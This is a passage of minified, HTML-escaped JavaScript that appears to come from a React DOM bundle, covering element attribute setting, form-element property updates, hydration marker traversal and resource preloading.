`).replace(P0,&quot;&quot;)}function qd(e,t){return t=Hd(t),Hd(e)===t}function Be(e,t,a,l,n,i){switch(a){case&quot;children&quot;:typeof l==&quot;string&quot;?t===&quot;body&quot;||t===&quot;textarea&quot;&amp;&amp;l===&quot;&quot;||jl(e,l):(typeof l==&quot;number&quot;||typeof l==&quot;bigint&quot;)&amp;&amp;t!==&quot;body&quot;&amp;&amp;jl(e,&quot;&quot;+l);break;case&quot;className&quot;:rs(e,&quot;class&quot;,l);break;case&quot;tabIndex&quot;:rs(e,&quot;tabindex&quot;,l);break;case&quot;dir&quot;:case&quot;role&quot;:case&quot;viewBox&quot;:case&quot;width&quot;:case&quot;height&quot;:rs(e,a,l);break;case&quot;style&quot;:Ur(e,l,i);break;case&quot;data&quot;:if(t!==&quot;object&quot;){rs(e,&quot;data&quot;,l);break}case&quot;src&quot;:case&quot;href&quot;:if(l===&quot;&quot;&amp;&amp;(t!==&quot;a&quot;||a!==&quot;href&quot;)){e.removeAttribute(a);break}if(l==null||typeof l==&quot;function&quot;||typeof l==&quot;symbol&quot;||typeof l==&quot;boolean&quot;){e.removeAttribute(a);break}l=fs(&quot;&quot;+l),e.setAttribute(a,l);break;case&quot;action&quot;:case&quot;formAction&quot;:if(typeof l==&quot;function&quot;){e.setAttribute(a,&quot;javascript:throw new Error(&#039;A React form was unexpectedly submitted. If you called form.submit() manually, consider using form.requestSubmit() instead. If you\\&#039;re trying to use event.stopPropagation() in a submit event handler, consider also calling event.preventDefault().&#039;)&quot;);break}else typeof i==&quot;function&quot;&amp;&amp;(a===&quot;formAction&quot;?(t!==&quot;input&quot;&amp;&amp;Be(e,t,&quot;name&quot;,n.name,n,null),Be(e,t,&quot;formEncType&quot;,n.formEncType,n,null),Be(e,t,&quot;formMethod&quot;,n.formMethod,n,null),Be(e,t,&quot;formTarget&quot;,n.formTarget,n,null)):(Be(e,t,&quot;encType&quot;,n.encType,n,null),Be(e,t,&quot;method&quot;,n.method,n,null),Be(e,t,&quot;target&quot;,n.target,n,null)));if(l==null||typeof l==&quot;symbol&quot;||typeof l==&quot;boolean&quot;){e.removeAttribute(a);break}l=fs(&quot;&quot;+l),e.setAttribute(a,l);break;case&quot;onClick&quot;:l!=null&amp;&amp;(e.onclick=la);break;case&quot;onScroll&quot;:l!=null&amp;&amp;Ee(&quot;scroll&quot;,e);break;case&quot;onScrollEnd&quot;:l!=null&amp;&amp;Ee(&quot;scrollend&quot;,e);break;case&quot;dangerouslySetInnerHTML&quot;:if(l!=null){if(typeof l!=&quot;object&quot;||!(&quot;__html&quot;in l))throw Error(r(61));if(a=l.__html,a!=null){if(n.children!=null)throw Error(r(60));e.innerHTML=a}}break;case&quot;multiple&quot;:e.multiple=l&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;;break;case&quot;muted&quot;:e.muted=l&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;;break;case&quot;suppressContentEditableWarning&quot;:case&quot;suppressHydrationWarning&quot;:case&quot;defaultValue&quot;:case&quot;defaultChecked&quot;:case&quot;innerHTML&quot;:case&quot;ref&quot;:break;case&quot;autoFocus&quot;:break;case&quot;xlinkHref&quot;:if(l==null||typeof l==&quot;function&quot;||typeof l==&quot;boolean&quot;||typeof l==&quot;symbol&quot;){e.removeAttribute(&quot;xlink:href&quot;);break}a=fs(&quot;&quot;+l),e.setAttributeNS(&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:href&quot;,a);break;case&quot;contentEditable&quot;:case&quot;spellCheck&quot;:case&quot;draggable&quot;:case&quot;value&quot;:case&quot;autoReverse&quot;:case&quot;externalResourcesRequired&quot;:case&quot;focusable&quot;:case&quot;preserveAlpha&quot;:l!=null&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;?e.setAttribute(a,&quot;&quot;+l):e.removeAttribute(a);break;case&quot;inert&quot;:case&quot;allowFullScreen&quot;:case&quot;async&quot;:case&quot;autoPlay&quot;:case&quot;controls&quot;:case&quot;default&quot;:case&quot;defer&quot;:case&quot;disabled&quot;:case&quot;disablePictureInPicture&quot;:case&quot;disableRemotePlayback&quot;:case&quot;formNoValidate&quot;:case&quot;hidden&quot;:case&quot;loop&quot;:case&quot;noModule&quot;:case&quot;noValidate&quot;:case&quot;open&quot;:case&quot;playsInline&quot;:case&quot;readOnly&quot;:case&quot;required&quot;:case&quot;reversed&quot;:case&quot;scoped&quot;:case&quot;seamless&quot;:case&quot;itemScope&quot;:l&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;?e.setAttribute(a,&quot;&quot;):e.removeAttribute(a);break;case&quot;capture&quot;:case&quot;download&quot;:l===!0?e.setAttribute(a,&quot;&quot;):l!==!1&amp;&amp;l!=null&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;?e.setAttribute(a,l):e.removeAttribute(a);break;case&quot;cols&quot;:case&quot;rows&quot;:case&quot;size&quot;:case&quot;span&quot;:l!=null&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;&amp;&amp;!isNaN(l)&amp;&amp;1&lt;=l?e.setAttribute(a,l):e.removeAttribute(a);break;case&quot;rowSpan&quot;:case&quot;start&quot;:l==null||typeof l==&quot;function&quot;||typeof l==&quot;symbol&quot;||isNaN(l)?e.removeAttribute(a):e.setAttribute(a,l);break;case&quot;popover&quot;:Ee(&quot;beforetoggle&quot;,e),Ee(&quot;toggle&quot;,e),cs(e,&quot;popover&quot;,l);break;case&quot;xlinkActuate&quot;:aa(e,&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:actuate&quot;,l);break;case&quot;xlinkArcrole&quot;:aa(e,&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:arcrole&quot;,l);break;case&quot;xlinkRole&quot;:aa(e,&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:role&quot;,l);break;case&quot;xlinkShow&quot;:aa(e,&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:show&quot;,l);break;case&quot;xlinkTitle&quot;:aa(e,&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:title&quot;,l);break;case&quot;xlinkType&quot;:aa(e,&quot;http://www.w3.org/1999/xlink&quot;,&quot;xlink:type&quot;,l);break;case&quot;xmlBase&quot;:aa(e,&quot;http://www.w3.org/XML/1998/namespace&quot;,&quot;xml:base&quot;,l);break;case&quot;xmlLang&quot;:aa(e,&quot;http://www.w3.org/XML/1998/namespace&quot;,&quot;xml:lang&quot;,l);break;case&quot;xmlSpace&quot;:aa(e,&quot;http://www.w3.org/XML/1998/namespace&quot;,&quot;xml:space&quot;,l);break;case&quot;is&quot;:cs(e,&quot;is&quot;,l);break;case&quot;innerText&quot;:case&quot;textContent&quot;:break;default:(!(2&lt;a.length)||a[0]!==&quot;o&quot;&amp;&amp;a[0]!==&quot;O&quot;||a[1]!==&quot;n&quot;&amp;&amp;a[1]!==&quot;N&quot;)&amp;&amp;(a=Ah.get(a)||a,cs(e,a,l))}}function Ac(e,t,a,l,n,i){switch(a){case&quot;style&quot;:Ur(e,l,i);break;case&quot;dangerouslySetInnerHTML&quot;:if(l!=null){if(typeof l!=&quot;object&quot;||!(&quot;__html&quot;in l))throw Error(r(61));if(a=l.__html,a!=null){if(n.children!=null)throw Error(r(60));e.innerHTML=a}}break;case&quot;children&quot;:typeof l==&quot;string&quot;?jl(e,l):(typeof l==&quot;number&quot;||typeof l==&quot;bigint&quot;)&amp;&amp;jl(e,&quot;&quot;+l);break;case&quot;onScroll&quot;:l!=null&amp;&amp;Ee(&quot;scroll&quot;,e);break;case&quot;onScrollEnd&quot;:l!=null&amp;&amp;Ee(&quot;scrollend&quot;,e);break;case&quot;onClick&quot;:l!=null&amp;&amp;(e.onclick=la);break;case&quot;suppressContentEditableWarning&quot;:case&quot;suppressHydrationWarning&quot;:case&quot;innerHTML&quot;:case&quot;ref&quot;:break;case&quot;innerText&quot;:case&quot;textContent&quot;:break;default:if(!Tr.hasOwnProperty(a))e:{if(a[0]===&quot;o&quot;&amp;&amp;a[1]===&quot;n&quot;&amp;&amp;(n=a.endsWith(&quot;Capture&quot;),t=a.slice(2,n?a.length-7:void 0),i=e[mt]||null,i=i!=null?i[a]:null,typeof i==&quot;function&quot;&amp;&amp;e.removeEventListener(t,i,n),typeof l==&quot;function&quot;)){typeof i!=&quot;function&quot;&amp;&amp;i!==null&amp;&amp;(a in e?e[a]=null:e.hasAttribute(a)&amp;&amp;e.removeAttribute(a)),e.addEventListener(t,l,n);break e}a in e?e[a]=l:l===!0?e.setAttribute(a,&quot;&quot;):cs(e,a,l)}}}function rt(e,t,a){switch(t){case&quot;div&quot;:case&quot;span&quot;:case&quot;svg&quot;:case&quot;path&quot;:case&quot;a&quot;:case&quot;g&quot;:case&quot;p&quot;:case&quot;li&quot;:break;case&quot;img&quot;:Ee(&quot;error&quot;,e),Ee(&quot;load&quot;,e);var l=!1,n=!1,i;for(i in a)if(a.hasOwnProperty(i)){var o=a[i];if(o!=null)switch(i){case&quot;src&quot;:l=!0;break;case&quot;srcSet&quot;:n=!0;break;case&quot;children&quot;:case&quot;dangerouslySetInnerHTML&quot;:throw Error(r(137,t));default:Be(e,t,i,o,a,null)}}n&amp;&amp;Be(e,t,&quot;srcSet&quot;,a.srcSet,a,null),l&amp;&amp;Be(e,t,&quot;src&quot;,a.src,a,null);return;case&quot;input&quot;:Ee(&quot;invalid&quot;,e);var h=i=o=n=null,j=null,C=null;for(l in a)if(a.hasOwnProperty(l)){var M=a[l];if(M!=null)switch(l){case&quot;name&quot;:n=M;break;case&quot;type&quot;:o=M;break;case&quot;checked&quot;:j=M;break;case&quot;defaultChecked&quot;:C=M;break;case&quot;value&quot;:i=M;break;case&quot;defaultValue&quot;:h=M;break;case&quot;children&quot;:case&quot;dangerouslySetInnerHTML&quot;:if(M!=null)throw Error(r(137,t));break;default:Be(e,t,l,M,a,null)}}Or(e,i,h,j,C,o,n,!1);return;case&quot;select&quot;:Ee(&quot;invalid&quot;,e),l=o=i=null;for(n in a)if(a.hasOwnProperty(n)&amp;&amp;(h=a[n],h!=null))switch(n){case&quot;value&quot;:i=h;break;case&quot;defaultValue&quot;:o=h;break;case&quot;multiple&quot;:l=h;default:Be(e,t,n,h,a,null)}t=i,a=o,e.multiple=!!l,t!=null?bl(e,!!l,t,!1):a!=null&amp;&amp;bl(e,!!l,a,!0);return;case&quot;textarea&quot;:Ee(&quot;invalid&quot;,e),i=n=l=null;for(o in a)if(a.hasOwnProperty(o)&amp;&amp;(h=a[o],h!=null))switch(o){case&quot;value&quot;:l=h;break;case&quot;defaultValue&quot;:n=h;break;case&quot;children&quot;:i=h;break;case&quot;dangerouslySetInnerHTML&quot;:if(h!=null)throw Error(r(91));break;default:Be(e,t,o,h,a,null)}Dr(e,l,n,i);return;case&quot;option&quot;:for(j in a)if(a.hasOwnProperty(j)&amp;&amp;(l=a[j],l!=null))switch(j){case&quot;selected&quot;:e.selected=l&amp;&amp;typeof l!=&quot;function&quot;&amp;&amp;typeof l!=&quot;symbol&quot;;break;default:Be(e,t,j,l,a,null)}return;case&quot;dialog&quot;:Ee(&quot;beforetoggle&quot;,e),Ee(&quot;toggle&quot;,e),Ee(&quot;cancel&quot;,e),Ee(&quot;close&quot;,e);break;case&quot;iframe&quot;:case&quot;object&quot;:Ee(&quot;load&quot;,e);break;case&quot;video&quot;:case&quot;audio&quot;:for(l=0;l&lt;kn.length;l++)Ee(kn[l],e);break;case&quot;image&quot;:Ee(&quot;error&quot;,e),Ee(&quot;load&quot;,e);break;case&quot;details&quot;:Ee(&quot;toggle&quot;,e);break;case&quot;embed&quot;:case&quot;source&quot;:case&quot;link&quot;:Ee(&quot;error&quot;,e),Ee(&quot;load&quot;,e);case&quot;area&quot;:case&quot;base&quot;:case&quot;br&quot;:case&quot;col&quot;:case&quot;hr&quot;:case&quot;keygen&quot;:case&quot;meta&quot;:case&quot;param&quot;:case&quot;track&quot;:case&quot;wbr&quot;:case&quot;menuitem&quot;:for(C in a)if(a.hasOwnProperty(C)&amp;&amp;(l=a[C],l!=null))switch(C){case&quot;children&quot;:case&quot;dangerouslySetInnerHTML&quot;:throw Error(r(137,t));default:Be(e,t,C,l,a,null)}return;default:if(Yi(t)){for(M in a)a.hasOwnProperty(M)&amp;&amp;(l=a[M],l!==void 0&amp;&amp;Ac(e,t,M,l,a,void 0));return}}for(h in a)a.hasOwnProperty(h)&amp;&amp;(l=a[h],l!=null&amp;&amp;Be(e,t,h,l,a,null))}function ep(e,t,a,l){switch(t){case&quot;div&quot;:case&quot;span&quot;:case&quot;svg&quot;:case&quot;path&quot;:case&quot;a&quot;:case&quot;g&quot;:case&quot;p&quot;:case&quot;li&quot;:break;case&quot;input&quot;:var n=null,i=null,o=null,h=null,j=null,C=null,M=null;for(O in a){var X=a[O];if(a.hasOwnProperty(O)&amp;&amp;X!=null)switch(O){case&quot;checked&quot;:break;case&quot;value&quot;:break;case&quot;defaultValue&quot;:j=X;default:l.hasOwnProperty(O)||Be(e,t,O,null,l,X)}}for(var z in l){var O=l[z];if(X=a[z],l.hasOwnProperty(z)&amp;&amp;(O!=null||X!=null))switch(z){case&quot;type&quot;:i=O;break;case&quot;name&quot;:n=O;break;case&quot;checked&quot;:C=O;break;case&quot;defaultChecked&quot;:M=O;break;case&quot;value&quot;:o=O;break;case&quot;defaultValue&quot;:h=O;break;case&quot;children&quot;:case&quot;dangerouslySetInnerHTML&quot;:if(O!=null)throw Error(r(137,t));break;default:O!==X&amp;&amp;Be(e,t,z,O,l,X)}}Li(e,o,h,j,C,M,i,n);return;case&quot;select&quot;:O=o=h=z=null;for(i in a)if(j=a[i],a.hasOwnProperty(i)&amp;&amp;j!=null)switch(i){case&quot;value&quot;:break;case&quot;multiple&quot;:O=j;default:l.hasOwnProperty(i)||Be(e,t,i,null,l,j)}for(n in l)if(i=l[n],j=a[n],l.hasOwnProperty(n)&amp;&amp;(i!=null||j!=null))switch(n){case&quot;value&quot;:z=i;break;case&quot;defaultValue&quot;:h=i;break;case&quot;multiple&quot;:o=i;default:i!==j&amp;&amp;Be(e,t,n,i,l,j)}t=h,a=o,l=O,z!=null?bl(e,!!a,z,!1):!!l!=!!a&amp;&amp;(t!=null?bl(e,!!a,t,!0):bl(e,!!a,a?[]:&quot;&quot;,!1));return;case&quot;textarea&quot;:O=z=null;for(h in a)if(n=a[h],a.hasOwnProperty(h)&amp;&amp;n!=null&amp;&amp;!l.hasOwnProperty(h))switch(h){case&quot;value&quot;:break;case&quot;children&quot;:break;default:Be(e,t,h,null,l,n)}for(o in l)if(n=l[o],i=a[o],l.hasOwnProperty(o)&amp;&amp;(n!=null||i!=null))switch(o){case&quot;value&quot;:z=n;break;case&quot;defaultValue&quot;:O=n;break;case&quot;children&quot;:break;case&quot;dangerouslySetInnerHTML&quot;:if(n!=null)throw Error(r(91));break;default:n!==i&amp;&amp;Be(e,t,o,n,l,i)}wr(e,z,O);return;case&quot;option&quot;:for(var ue in a)if(z=a[ue],a.hasOwnProperty(ue)&amp;&amp;z!=null&amp;&amp;!l.hasOwnProperty(ue))switch(ue){case&quot;selected&quot;:e.selected=!1;break;default:Be(e,t,ue,null,l,z)}for(j in l)if(z=l[j],O=a[j],l.hasOwnProperty(j)&amp;&amp;z!==O&amp;&amp;(z!=null||O!=null))switch(j){case&quot;selected&quot;:e.selected=z&amp;&amp;typeof z!=&quot;function&quot;&amp;&amp;typeof z!=&quot;symbol&quot;;break;default:Be(e,t,j,z,l,O)}return;case&quot;img&quot;:case&quot;link&quot;:case&quot;area&quot;:case&quot;base&quot;:case&quot;br&quot;:case&quot;col&quot;:case&quot;embed&quot;:case&quot;hr&quot;:case&quot;keygen&quot;:case&quot;meta&quot;:case&quot;param&quot;:case&quot;source&quot;:case&quot;track&quot;:case&quot;wbr&quot;:case&quot;menuitem&quot;:for(var me in a)z=a[me],a.hasOwnProperty(me)&amp;&amp;z!=null&amp;&amp;!l.hasOwnProperty(me)&amp;&amp;Be(e,t,me,null,l,z);for(C in l)if(z=l[C],O=a[C],l.hasOwnProperty(C)&amp;&amp;z!==O&amp;&amp;(z!=null||O!=null))switch(C){case&quot;children&quot;:case&quot;dangerouslySetInnerHTML&quot;:if(z!=null)throw Error(r(137,t));break;default:Be(e,t,C,z,l,O)}return;default:if(Yi(t)){for(var Le in a)z=a[Le],a.hasOwnProperty(Le)&amp;&amp;z!==void 0&amp;&amp;!l.hasOwnProperty(Le)&amp;&amp;Ac(e,t,Le,void 0,l,z);for(M in l)z=l[M],O=a[M],!l.hasOwnProperty(M)||z===O||z===void 0&amp;&amp;O===void 0||Ac(e,t,M,z,l,O);return}}for(var _ in a)z=a[_],a.hasOwnProperty(_)&amp;&amp;z!=null&amp;&amp;!l.hasOwnProperty(_)&amp;&amp;Be(e,t,_,null,l,z);for(X in l)z=l[X],O=a[X],!l.hasOwnProperty(X)||z===O||z==null&amp;&amp;O==null||Be(e,t,X,z,l,O)}function Bd(e){switch(e){case&quot;css&quot;:case&quot;script&quot;:case&quot;font&quot;:case&quot;img&quot;:case&quot;image&quot;:case&quot;input&quot;:case&quot;link&quot;:return!0;default:return!1}}function tp(){if(typeof performance.getEntriesByType==&quot;function&quot;){for(var e=0,t=0,a=performance.getEntriesByType(&quot;resource&quot;),l=0;l&lt;a.length;l++){var n=a[l],i=n.transferSize,o=n.initiatorType,h=n.duration;if(i&amp;&amp;h&amp;&amp;Bd(o)){for(o=0,h=n.responseEnd,l+=1;l&lt;a.length;l++){var j=a[l],C=j.startTime;if(C&gt;h)break;var M=j.transferSize,X=j.initiatorType;M&amp;&amp;Bd(X)&amp;&amp;(j=j.responseEnd,o+=M*(j&lt;h?1:(h-C)/(j-C)))}if(--l,t+=8*(i+o)/(n.duration/1e3),e++,10&lt;e)break}}if(0&lt;e)return t/e/1e6}return navigator.connection&amp;&amp;(e=navigator.connection.downlink,typeof e==&quot;number&quot;)?e:5}var Cc=null,zc=null;function ii(e){return e.nodeType===9?e:e.ownerDocument}function Ld(e){switch(e){case&quot;http://www.w3.org/2000/svg&quot;:return 1;case&quot;http://www.w3.org/1998/Math/MathML&quot;:return 2;default:return 0}}function Gd(e,t){if(e===0)switch(t){case&quot;svg&quot;:return 1;case&quot;math&quot;:return 2;default:return 0}return e===1&amp;&amp;t===&quot;foreignObject&quot;?0:e}function Rc(e,t){return e===&quot;textarea&quot;||e===&quot;noscript&quot;||typeof t.children==&quot;string&quot;||typeof t.children==&quot;number&quot;||typeof t.children==&quot;bigint&quot;||typeof t.dangerouslySetInnerHTML==&quot;object&quot;&amp;&amp;t.dangerouslySetInnerHTML!==null&amp;&amp;t.dangerouslySetInnerHTML.__html!=null}var Oc=null;function ap(){var e=window.event;return e&amp;&amp;e.type===&quot;popstate&quot;?e===Oc?!1:(Oc=e,!0):(Oc=null,!1)}var Yd=typeof setTimeout==&quot;function&quot;?setTimeout:void 0,lp=typeof clearTimeout==&quot;function&quot;?clearTimeout:void 0,kd=typeof Promise==&quot;function&quot;?Promise:void 0,np=typeof queueMicrotask==&quot;function&quot;?queueMicrotask:typeof kd&lt;&quot;u&quot;?function(e){return kd.resolve(null).then(e).catch(sp)}:Yd;function sp(e){setTimeout(function(){throw e})}function ka(e){return e===&quot;head&quot;}function Qd(e,t){var a=t,l=0;do{var n=a.nextSibling;if(e.removeChild(a),n&amp;&amp;n.nodeType===8)if(a=n.data,a===&quot;/$&quot;||a===&quot;/&amp;&quot;){if(l===0){e.removeChild(n),Il(t);return}l--}else if(a===&quot;$&quot;||a===&quot;$?&quot;||a===&quot;$~&quot;||a===&quot;$!&quot;||a===&quot;&amp;&quot;)l++;else if(a===&quot;html&quot;)Xn(e.ownerDocument.documentElement);else if(a===&quot;head&quot;){a=e.ownerDocument.head,Xn(a);for(var i=a.firstChild;i;){var o=i.nextSibling,h=i.nodeName;i[cn]||h===&quot;SCRIPT&quot;||h===&quot;STYLE&quot;||h===&quot;LINK&quot;&amp;&amp;i.rel.toLowerCase()===&quot;stylesheet&quot;||a.removeChild(i),i=o}}else a===&quot;body&quot;&amp;&amp;Xn(e.ownerDocument.body);a=n}while(a);Il(t)}function Xd(e,t){var a=e;e=0;do{var l=a.nextSibling;if(a.nodeType===1?t?(a._stashedDisplay=a.style.display,a.style.display=&quot;none&quot;):(a.style.display=a._stashedDisplay||&quot;&quot;,a.getAttribute(&quot;style&quot;)===&quot;&quot;&amp;&amp;a.removeAttribute(&quot;style&quot;)):a.nodeType===3&amp;&amp;(t?(a._stashedText=a.nodeValue,a.nodeValue=&quot;&quot;):a.nodeValue=a._stashedText||&quot;&quot;),l&amp;&amp;l.nodeType===8)if(a=l.data,a===&quot;/$&quot;){if(e===0)break;e--}else a!==&quot;$&quot;&amp;&amp;a!==&quot;$?&quot;&amp;&amp;a!==&quot;$~&quot;&amp;&amp;a!==&quot;$!&quot;||e++;a=l}while(a)}function wc(e){var t=e.firstChild;for(t&amp;&amp;t.nodeType===10&amp;&amp;(t=t.nextSibling);t;){var a=t;switch(t=t.nextSibling,a.nodeName){case&quot;HTML&quot;:case&quot;HEAD&quot;:case&quot;BODY&quot;:wc(a),qi(a);continue;case&quot;SCRIPT&quot;:case&quot;STYLE&quot;:continue;case&quot;LINK&quot;:if(a.rel.toLowerCase()===&quot;stylesheet&quot;)continue}e.removeChild(a)}}function ip(e,t,a,l){for(;e.nodeType===1;){var n=a;if(e.nodeName.toLowerCase()!==t.toLowerCase()){if(!l&amp;&amp;(e.nodeName!==&quot;INPUT&quot;||e.type!==&quot;hidden&quot;))break}else if(l){if(!e[cn])switch(t){case&quot;meta&quot;:if(!e.hasAttribute(&quot;itemprop&quot;))break;return e;case&quot;link&quot;:if(i=e.getAttribute(&quot;rel&quot;),i===&quot;stylesheet&quot;&amp;&amp;e.hasAttribute(&quot;data-precedence&quot;))break;if(i!==n.rel||e.getAttribute(&quot;href&quot;)!==(n.href==null||n.href===&quot;&quot;?null:n.href)||e.getAttribute(&quot;crossorigin&quot;)!==(n.crossOrigin==null?null:n.crossOrigin)||e.getAttribute(&quot;title&quot;)!==(n.title==null?null:n.title))break;return e;case&quot;style&quot;:if(e.hasAttribute(&quot;data-precedence&quot;))break;return e;case&quot;script&quot;:if(i=e.getAttribute(&quot;src&quot;),(i!==(n.src==null?null:n.src)||e.getAttribute(&quot;type&quot;)!==(n.type==null?null:n.type)||e.getAttribute(&quot;crossorigin&quot;)!==(n.crossOrigin==null?null:n.crossOrigin))&amp;&amp;i&amp;&amp;e.hasAttribute(&quot;async&quot;)&amp;&amp;!e.hasAttribute(&quot;itemprop&quot;))break;return e;default:return e}}else if(t===&quot;input&quot;&amp;&amp;e.type===&quot;hidden&quot;){var i=n.name==null?null:&quot;&quot;+n.name;if(n.type===&quot;hidden&quot;&amp;&amp;e.getAttribute(&quot;name&quot;)===i)return e}else return e;if(e=kt(e.nextSibling),e===null)break}return null}function up(e,t,a){if(t===&quot;&quot;)return null;for(;e.nodeType!==3;)if((e.nodeType!==1||e.nodeName!==&quot;INPUT&quot;||e.type!==&quot;hidden&quot;)&amp;&amp;!a||(e=kt(e.nextSibling),e===null))return null;return e}function Vd(e,t){for(;e.nodeType!==8;)if((e.nodeType!==1||e.nodeName!==&quot;INPUT&quot;||e.type!==&quot;hidden&quot;)&amp;&amp;!t||(e=kt(e.nextSibling),e===null))return null;return e}function Dc(e){return e.data===&quot;$?&quot;||e.data===&quot;$~&quot;}function Mc(e){return e.data===&quot;$!&quot;||e.data===&quot;$?&quot;&amp;&amp;e.ownerDocument.readyState!==&quot;loading&quot;}function cp(e,t){var a=e.ownerDocument;if(e.data===&quot;$~&quot;)e._reactRetry=t;else if(e.data!==&quot;$?&quot;||a.readyState!==&quot;loading&quot;)t();else{var l=function(){t(),a.removeEventListener(&quot;DOMContentLoaded&quot;,l)};a.addEventListener(&quot;DOMContentLoaded&quot;,l),e._reactRetry=l}}function kt(e){for(;e!=null;e=e.nextSibling){var t=e.nodeType;if(t===1||t===3)break;if(t===8){if(t=e.data,t===&quot;$&quot;||t===&quot;$!&quot;||t===&quot;$?&quot;||t===&quot;$~&quot;||t===&quot;&amp;&quot;||t===&quot;F!&quot;||t===&quot;F&quot;)break;if(t===&quot;/$&quot;||t===&quot;/&amp;&quot;)return null}}return e}var Uc=null;function Zd(e){e=e.nextSibling;for(var t=0;e;){if(e.nodeType===8){var a=e.data;if(a===&quot;/$&quot;||a===&quot;/&amp;&quot;){if(t===0)return kt(e.nextSibling);t--}else a!==&quot;$&quot;&amp;&amp;a!==&quot;$!&quot;&amp;&amp;a!==&quot;$?&quot;&amp;&amp;a!==&quot;$~&quot;&amp;&amp;a!==&quot;&amp;&quot;||t++}e=e.nextSibling}return null}function Jd(e){e=e.previousSibling;for(var t=0;e;){if(e.nodeType===8){var a=e.data;if(a===&quot;$&quot;||a===&quot;$!&quot;||a===&quot;$?&quot;||a===&quot;$~&quot;||a===&quot;&amp;&quot;){if(t===0)return e;t--}else a!==&quot;/$&quot;&amp;&amp;a!==&quot;/&amp;&quot;||t++}e=e.previousSibling}return null}function Kd(e,t,a){switch(t=ii(a),e){case&quot;html&quot;:if(e=t.documentElement,!e)throw Error(r(452));return e;case&quot;head&quot;:if(e=t.head,!e)throw Error(r(453));return e;case&quot;body&quot;:if(e=t.body,!e)throw Error(r(454));return e;default:throw Error(r(451))}}function Xn(e){for(var t=e.attributes;t.length;)e.removeAttributeNode(t[0]);qi(e)}var Qt=new Map,$d=new Set;function ui(e){return typeof e.getRootNode==&quot;function&quot;?e.getRootNode():e.nodeType===9?e:e.ownerDocument}var ga=k.d;k.d={f:rp,r:op,D:fp,C:dp,L:mp,m:hp,X:xp,S:pp,M:vp};function rp(){var e=ga.f(),t=Is();return e||t}function op(e){var t=vl(e);t!==null&amp;&amp;t.tag===5&amp;&amp;t.type===&quot;form&quot;?df(t):ga.r(e)}var $l=typeof document&gt;&quot;u&quot;?null:document;function Fd(e,t,a){var l=$l;if(l&amp;&amp;typeof t==&quot;string&quot;&amp;&amp;t){var n=Ut(t);n=&#039;link[rel=&quot;&#039;+e+&#039;&quot;][href=&quot;&#039;+n+&#039;&quot;]&#039;,typeof a==&quot;string&quot;&amp;&amp;(n+=&#039;[crossorigin=&quot;&#039;+a+&#039;&quot;]&#039;),$d.has(n)||($d.add(n),e={rel:e,crossOrigin:a,href:t},l.querySelector(n)===null&amp;&amp;(t=l.createElement(&quot;link&quot;),rt(t,&quot;link&quot;,e),at(t),l.head.appendChild(t)))}}function fp(e){ga.D(e),Fd(&quot;dns-prefetch&quot;,e,null)}function dp(e,t){ga.C(e,t),Fd(&quot;preconnect&quot;,e,t)}function mp(e,t,a){ga.L(e,t,a);var l=$l;if(l&amp;&amp;e&amp;&amp;t){var n=&#039;link[rel=&quot;preload&quot;][as=&quot;&#039;+Ut(t)+&#039;&quot;]&#039;;t===&quot;image&quot;&amp;&amp;a&amp;&amp;a.imageSrcSet?(n+=&#039;[imagesrcset=&quot;&#039;+Ut(a.imageSrcSet)+&#039;&quot;]&#039;,typeof a.imageSizes==&quot;string&quot;&amp;&amp;(n+=&#039;[imagesizes=&quot;&#039;+Ut(a.imageSizes)+&#039;&quot;]&#039;)):n+=&#039;[href=&quot;&#039;+Ut(e)+&#039;&quot;]&#039;;var i=n;switch(t){case&quot;style&quot;:i=Fl(e);break;case&quot;script&quot;:i=Wl(e)}Qt.has(i)||(e=b({rel:&quot;preload&quot;,href:t===&quot;image&quot;&amp;&amp;a&amp;&amp;a.imageSrcSet?void 0:e,as:t},a),Qt.set(i,e),l.querySelector(n)!==null||t===&quot;style&quot;&amp;&amp;l.querySelector(Vn(i))||t===&quot;script&quot;&amp;&amp;l.querySelector(Zn(i))||(t=l.createElement(&quot;link&quot;),rt(t,&quot;link&quot;,e),at(t),l.head.appendChild(t)))}}function hp(e,t){ga.m(e,t);var a=$l;if(a&amp;&amp;e){var l=t&amp;&amp;typeof t.as==&quot;string&quot;?t.as:&quot;script&quot;,n=&#039;link[rel=&quot;modulepreload&quot;][as=&quot;&#039;+Ut(l)+&#039;&quot;][href=&quot;&#039;+Ut(e)+&#039;&quot;]&#039;,i=n;switch(l){case&quot;audioworklet&quot;:case&quot;paintworklet&quot;:case&quot;serviceworker&quot;:case&quot;sharedworker&quot;:case&quot;worker&quot;:case&quot;script&quot;:i=Wl(e)}if(!Qt.has(i)&amp;&amp;(e=b({rel:&quot;modulepreload&quot;,href:e},t),Qt.set(i,e),a.querySelector(n)===null)){switch(l){case&quot;audioworklet&quot;:case&quot;paintworklet&quot;:case&quot;serviceworker&quot;:case&quot;sharedworker&quot;:case&quot;worker&quot;:case&quot;script&quot;:if(a.querySelector(Zn(i)))return}l=a.createElement(&quot;link&quot;),rt(l,&quot;link&quot;,e),at(l),a.head.appendChild(l)}}}function pp(e,t,a){ga.S(e,t,a);var l=$l;if(l&amp;&amp;e){var n=yl(l).hoistableStyles,i=Fl(e);t=t||&quot;default&quot;;var o=n.get(i);if(!o){var h={loading:0,preload:null};if(o=l.querySelector(Vn(i)))h.loading=5;else{e=b({rel:&quot;stylesheet&quot;,href:e,&quot;data-precedence&quot;:t},a),(a=Qt.get(i))&amp;&amp;Hc(e,a);var j=o=l.createElement(&quot;link&quot;);at(j),rt(j,&quot;link&quot;,e),j._p=new Promise(function(C,M){j.onload=C,j.onerror=M}),j.addEventListener(&quot;load&quot;,function(){h.loading|=1}),j.addEventListener(&quot;error&quot;,function(){h.loading|=2}),h.loading|=4,ci(o,t,l)}o={type:&quot;stylesheet&quot;,instance:o,count:1,state:h},n.set(i,o)}}}function 